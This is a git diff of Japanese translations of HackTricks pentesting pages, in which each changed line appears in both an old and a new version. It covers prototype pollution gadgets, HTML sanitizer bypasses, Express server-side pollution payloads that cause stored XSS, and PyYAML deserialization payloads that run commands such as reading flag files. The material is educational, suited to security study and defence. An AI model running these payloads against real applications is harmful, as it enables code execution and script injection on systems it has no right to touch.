ガジェットは、**PPの脆弱性が発見された際に悪用されるコード**です。
|
||||
|
||||
アプリケーションがシンプルな場合、**`srcdoc/innerHTML/iframe/createElement`**のような**キーワード**を**検索**し、ソースコードをレビューしてjavascript実行に**繋がるか**を確認します。時には、上記の技術ではガジェットが全く見つからないこともあります。その場合、純粋なソースコードレビューが以下の例のような素晴らしいガジェットを明らかにします。
|
||||
アプリケーションがシンプルな場合、**`srcdoc/innerHTML/iframe/createElement`**などの**キーワード**を**検索**し、ソースコードを確認して**JavaScriptの実行につながるかどうか**をチェックできます。時には、これらのテクニックが全くガジェットを見つけられないこともあります。その場合、純粋なソースコードのレビューによって、以下の例のような素敵なガジェットが明らかになります。
|
||||
|
||||
### 例 MithilライブラリコードでPPガジェットを見つける
|
||||
### MithilライブラリコードでのPPガジェットの発見例
|
||||
|
||||
このライトアップをチェックしてください:[https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
|
||||
この解説をチェックしてください: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
|
||||
|
||||
## 脆弱なライブラリのペイロードの再コンパイル
|
||||
## 脆弱なライブラリのためのペイロードの再コンパイル
|
||||
|
||||
* [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
|
||||
* [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
|
||||
|
||||
## PPを介したHTMLサニタイザーのバイパス
|
||||
## PPを介したHTMLサニタイザーの回避
|
||||
|
||||
[**この研究**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)は、いくつかのHTMLサニタイザーライブラリによって提供されるサニタイズを**バイパス**するために使用するPPガジェットを示しています:
|
||||
[**この研究**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)は、一部のHTMLサニタイザーライブラリによって提供される**サニタイズをバイパス**するために使用するPPガジェットを示しています:
|
||||
|
||||
* #### sanitize-html
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (668).png" alt="https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-7.png"><figcaption></figcaption></figure>
|
||||
|
||||
* #### dompurify
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (669).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (669).png" alt="https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-9.png"><figcaption></figcaption></figure>
|
||||
|
||||
* #### Closure
|
||||
```html
|
||||
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
|
||||
<script>
|
||||
Object.prototype['* ONERROR'] = 1;
|
||||
Object.prototype['* SRC'] = 1;
|
||||
|
@ -124,14 +125,14 @@ document.body.append(node);
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローになる方法を学ぶ</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
|
||||
* **HackTricks**および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,22 +2,25 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォローする**。
|
||||
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
|
||||
|
||||
</details>
|
||||
## XSSレスポンスを提供する
|
||||
|
||||
### JSONコンテンツタイプをHTMLに変更する
|
||||
## Serve XSS responses
|
||||
|
||||
**JSONコンテンツタイプレスポンス**を使用し、JSONを反映しているExpressアプリケーションで:
|
||||
**詳細については、[元のリサーチを参照してください](https://portswigger.net/research/server-side-prototype-pollution)**
|
||||
|
||||
### JSONコンテンツタイプをHTMLに変更
|
||||
|
||||
**JSONコンテンツタイプのレスポンス**を使用し、JSONを反映しているExpressアプリ内で:
|
||||
```javascript
|
||||
app.use(bodyParser.json({type: 'application/json'}));
|
||||
app.post('/', function(req, res){
|
||||
|
@ -25,15 +28,15 @@ _.merge({}, req.body);
|
|||
res.send(req.body);
|
||||
});
|
||||
```
|
||||
これらのケースでは、JSONコンテンツタイプを使用している場合、通常XSSは発生しません。しかし、プロトタイプ汚染を使用すると、**ExpressがHTMLレスポンスを提供するように混乱させることができます。** この脆弱性は、アプリケーションが**`res.send(obj)`** を使用し、application/jsonコンテンツタイプでボディパーサーを使用していることに依存しています。
|
||||
これらのケースでは、JSONコンテンツタイプでは通常XSSは可能ではありません。ただし、プロトタイプ汚染を使用すると、**Expressを混乱させてHTMLレスポンスを提供させることができます。** この脆弱性は、アプリケーションが**`res.send(obj)`**を使用し、application/jsonコンテンツタイプでボディパーサーを使用していることに依存しています。
|
||||
```json
|
||||
{"__proto__":{"_body":true,"body":"<script>evil()"}}
|
||||
```
|
||||
**`body`** と **`_body`** の両方のプロパティを**汚染する**ことで、**ExpressにHTMLコンテンツタイプを提供させ**、`_body` プロパティを反映させることができ、結果としてストアドXSSが発生します。
|
||||
**`body`**および**`_body`**プロパティを**汚染**することで、**ExpressがHTMLコンテンツタイプを提供**し、_bodyプロパティを反映させ、保存されたXSSが発生する可能性があります。
|
||||
|
||||
### UTF7をレンダリングする
|
||||
### UTF7のレンダリング
|
||||
|
||||
expressに**UTF-7コンテンツをレンダリングさせる**ことが可能です:
|
||||
Expressが**UTF-7コンテンツをレンダリングする**ことが可能です:
|
||||
```json
|
||||
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
|
||||
```
|
||||
|
@ -41,7 +44,7 @@ expressに**UTF-7コンテンツをレンダリングさせる**ことが可能
|
|||
|
||||
### JSON スペース
|
||||
|
||||
以下の PP は、JSON 内の属性に機能を壊さない追加のスペースを作ります:
|
||||
次の PP は、JSON 内の属性に余分なスペースを追加し、機能を壊さないようにします:
|
||||
```json
|
||||
{"__proto__":{"json spaces": " "}}
|
||||
```
|
||||
|
@ -49,9 +52,9 @@ expressに**UTF-7コンテンツをレンダリングさせる**ことが可能
|
|||
```json
|
||||
{"foo": "bar"} -- Note the extra space
|
||||
```
|
||||
### 露出したヘッダー
|
||||
### 公開されたヘッダー
|
||||
|
||||
次のPPガジェットは、サーバーにHTTPヘッダー **`Access-Control-Expose_headers: foo`** を送り返させます。
|
||||
次のPPガジェットにより、サーバーはHTTPヘッダーを送信します: **`Access-Control-Expose_headers: foo`**
|
||||
```json
|
||||
{"__proto__":{"exposedHeaders":["foo"]}}
|
||||
```
|
||||
|
@ -59,7 +62,7 @@ expressに**UTF-7コンテンツをレンダリングさせる**ことが可能
|
|||
|
||||
### **OPTIONSメソッド**
|
||||
|
||||
次のペイロードを使用すると、**OPTIONSレスポンスからメソッドを隠すことが可能です**:
|
||||
次のペイロードを使用すると、**OPTIONSレスポンスからメソッドを隠す**ことが可能です:
|
||||
```javascript
|
||||
// Original reponse: POST,GET,HEAD
|
||||
|
||||
|
@ -76,32 +79,32 @@ expressに**UTF-7コンテンツをレンダリングさせる**ことが可能
|
|||
```
|
||||
### エラー
|
||||
|
||||
プリミティブ(例えば文字列)をプロトタイプに割り当てると、**プロトタイプはオブジェクトでなければならないため、no-op操作が発生します**。`Object.prototype`自体にプロトタイプオブジェクトを割り当てようとすると、**例外がスローされます**。これら2つの振る舞いを利用して、**プロトタイプ汚染が成功したかどうかを検出することができます**:
|
||||
プロトタイプに文字列などのプリミティブを割り当てると、プロトタイプはオブジェクトである必要があるため、**no-op操作が生成**されます。`Object.prototype`にプロトタイプオブジェクトを割り当てようとすると、これは**例外をスロー**します。これら2つの動作を使用して、**プロトタイプ汚染が成功したかどうかを検出**できます。
|
||||
```javascript
|
||||
({}).__proto__.__proto__={}//throws type exception
|
||||
({}).__proto__.__proto__="x"//no-op does not throw exception
|
||||
```
|
||||
### 反映された値
|
||||
### 反射された値
|
||||
|
||||
アプリケーションがレスポンスでオブジェクトを反映している場合、**奇妙な名前と `__proto__` 属性を持つ属性を作成することができます**。そして、**奇妙な名前の属性のみが反映されている場合**、ウェブが脆弱である可能性があります:
|
||||
アプリケーションがレスポンスにオブジェクトを含める場合、**`__proto__`と一緒に異常な名前の属性を作成**すると興味深いです。特に、レスポンスに**異常な属性だけが返される**場合、これはアプリケーションの脆弱性を示している可能性があります:
|
||||
```json
|
||||
{"hacktricks":"rocks","__proto__":"test"}
|
||||
{"unusualName":"value","__proto__":"test"}
|
||||
```
|
||||
または、Lodashや類似のライブラリが使用されている場合、**PPを介してプロパティをオブジェクト内に設定する**ことができ、そのプロパティが反映されていない場合は、Lodashがマージされたオブジェクトにプロパティが既に存在するかどうかを現在のオブジェクトを見て判断しているためです:
|
||||
また、Lodashのようなライブラリが使用されているシナリオでは、プロトタイプ汚染(PP)を介してプロパティを設定することと、オブジェクト内で直接設定することの両方が別の診断アプローチを提供します。応答からそのようなプロパティが省略されている場合、Lodashはマージする前に対象オブジェクト内のプロパティの存在を検証していることを示唆しています:
|
||||
```javascript
|
||||
{"__proto__":{"a":"asd"},"a":"asd2","b":"dfg"}
|
||||
// If only b is reflected then PP in Lodash
|
||||
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
|
||||
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
|
||||
```
|
||||
## その他
|
||||
|
||||
### ドットの許可
|
||||
### ドットを許可
|
||||
|
||||
Expressには**クエリ文字列パラメータからオブジェクトを作成する**ことを可能にするオプションがあります。\
|
||||
これを利用して**プロトタイプ汚染の脆弱性**を悪用するバグ**チェーン**に確実に使用できます。
|
||||
Expressには、**クエリ文字列パラメータからオブジェクトを作成する**オプションがあります。\
|
||||
これは、**プロトタイプ汚染の脆弱性を悪用する**ためのバグ**チェーン**で利用できます。
|
||||
```json
|
||||
{"__proto__":{"allowDots":true}}
|
||||
```
|
||||
**`?foo.bar=baz` はNodeでオブジェクトを作成します。**
|
||||
**`?foo.bar=baz`はNodeでオブジェクトを作成します。**
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -109,14 +112,14 @@ Expressには**クエリ文字列パラメータからオブジェクトを作
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)に**フォローする**。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,23 +1,21 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Yaml **デシリアライゼーション**
|
||||
# Yaml **Deserialization**
|
||||
|
||||
**Yaml**のPythonライブラリは、生データだけでなく、**Pythonオブジェクトをシリアライズ**することもできます。
|
||||
**Yaml** python ライブラリは、生データだけでなく **Pythonオブジェクトをシリアライズ** することもできます。
|
||||
```
|
||||
print(yaml.dump(str("lol")))
|
||||
lol
|
||||
|
@ -35,11 +33,11 @@ print(yaml.dump(range(1,10)))
|
|||
- 10
|
||||
- 1
|
||||
```
|
||||
**タプル**は生のデータ型ではないため、**シリアライズ**されました。そして、同じことが**range**にも起こりました(builtinsから取得)。
|
||||
チェックしてみてください。**タプル**は生のデータ型ではないため、**シリアル化**されました。そして同じことが**range**(組み込みから取得)でも起こりました。
|
||||
|
||||
![](<../../.gitbook/assets/image (628) (1).png>)
|
||||
|
||||
**safe\_load()**または**safe\_load\_all()**はSafeLoaderを使用し、**クラスオブジェクトのデシリアライズをサポートしていません**。クラスオブジェクトのデシリアライズの例:
|
||||
**safe\_load()**または**safe\_load\_all()**はSafeLoaderを使用し、**クラスオブジェクトの逆シリアル化をサポートしていません**。クラスオブジェクトの逆シリアル化の例:
|
||||
```python
|
||||
import yaml
|
||||
from yaml import UnsafeLoader, FullLoader, Loader
|
||||
|
@ -58,11 +56,11 @@ print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
|
|||
#The other ways to load data will through an error as they won't even attempt to
|
||||
#deserialize the python object
|
||||
```
|
||||
以前のコードでは、**unsafe\_load**を使用してシリアル化されたPythonクラスをロードしました。これは、**バージョン>=5.1**では、load()またはLoader=SafeLoaderで指定されていないLoaderを使用して、シリアル化されたPythonクラスまたはクラス属性をデシリアライズすることができないためです。
|
||||
前のコードでは、シリアル化されたPythonクラスをロードするために**unsafe\_load**を使用しました。これは、**version >= 5.1**では、load()でLoaderが指定されていないかLoader=SafeLoaderでないと、**シリアル化されたPythonクラスやクラス属性をデシリアライズすることができない**ためです。
|
||||
|
||||
## 基本的なエクスプロイト
|
||||
|
||||
**スリープを実行する**例:
|
||||
**sleepを実行する例**:
|
||||
```python
|
||||
import yaml
|
||||
from yaml import UnsafeLoader, FullLoader, Loader
|
||||
|
@ -77,11 +75,11 @@ print(yaml.unsafe_load(data)) #Executed
|
|||
print(yaml.full_load_all(data))
|
||||
print(yaml.unsafe_load_all(data))
|
||||
```
|
||||
## Loaderを指定しない脆弱な.load("\<content>")
|
||||
## 脆弱な.load("\<content>") ローダーなし
|
||||
|
||||
pyyamlの**古いバージョン**は、何かをロードする際に**Loaderを指定しなかった場合**、デシリアライズ攻撃の脆弱性がありました: `yaml.load(data)`
|
||||
pyyamlの**古いバージョン**は、何かをロードする際に**ローダーを指定しなかった場合**、逆シリアル化攻撃の脆弱性がありました: `yaml.load(data)`
|
||||
|
||||
[**ここで脆弱性の説明**](https://hackmd.io/@defund/HJZajCVlP)**を見つけることができます。** そのページで提案されている**攻撃手法**は次のとおりです:
|
||||
[**脆弱性の説明はこちら**](https://hackmd.io/@defund/HJZajCVlP)** です。** そのページで提案されている**攻撃**は次のとおりです:
|
||||
```yaml
|
||||
!!python/object/new:str
|
||||
state: !!python/tuple
|
||||
|
@ -90,7 +88,7 @@ state: !!python/tuple
|
|||
state:
|
||||
update: !!python/name:exec
|
||||
```
|
||||
または、@ishaackが提供するこの**ワンライナー**を使用することもできます:
|
||||
または、@ishaackが提供するこの**ワンライナー**を使用することもできます:
|
||||
```yaml
|
||||
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
|
||||
```
|
||||
|
@ -98,7 +96,7 @@ update: !!python/name:exec
|
|||
|
||||
# RCE
|
||||
|
||||
ペイロードの作成は、**任意のPython YAMLモジュール(PyYAMLまたはruamel.yaml)で同じ方法で行うことができます**。同じペイロードは、YAMLモジュールまたはPyYAMLまたはruamel.yamlに基づく任意のモジュールを悪用することができます。
|
||||
**PyYAML**や**ruamel.yaml**などのPython YAMLモジュールを使用してカスタムペイロードを作成できます。これらのペイロードは、信頼されていない入力を適切にサニタイズせずにデシリアライズするシステムの脆弱性を悪用することができます。
|
||||
```python
|
||||
import yaml
|
||||
from yaml import UnsafeLoader, FullLoader, Loader
|
||||
|
@ -120,7 +118,7 @@ print(yaml.unsafe_load(deserialized_data))
|
|||
```
|
||||
## ペイロードを作成するツール
|
||||
|
||||
ツール[https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator)は、**Pickle、PyYAML、jsonpickle、ruamel.yaml**を悪用するためのPythonシリアライゼーションのペイロードを生成するために使用できます。
|
||||
ツール[https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator)を使用して、**Pickle、PyYAML、jsonpickle、ruamel.yaml**を悪用するためのPython逆シリアル化ペイロードを生成できます。
|
||||
```bash
|
||||
python3 peas.py
|
||||
Enter RCE command :cat /root/flag.txt
|
||||
|
@ -144,21 +142,20 @@ cat /tmp/example_yaml
|
|||
```
|
||||
# 参考文献
|
||||
|
||||
この技術についての詳細な情報は、次を参照してください:[https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
|
||||
* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
|
||||
* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,18 +1,18 @@
|
|||
# SAML 攻撃
|
||||
# SAML攻撃
|
||||
|
||||
## SAML 攻撃
|
||||
## SAML攻撃
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks にあなたの会社を広告したい**、または **HackTricks を PDF でダウンロードしたい** 場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com) を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見する、私たちの独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクション
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に **参加する** か、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を **フォローする**。
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングのコツを共有する。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
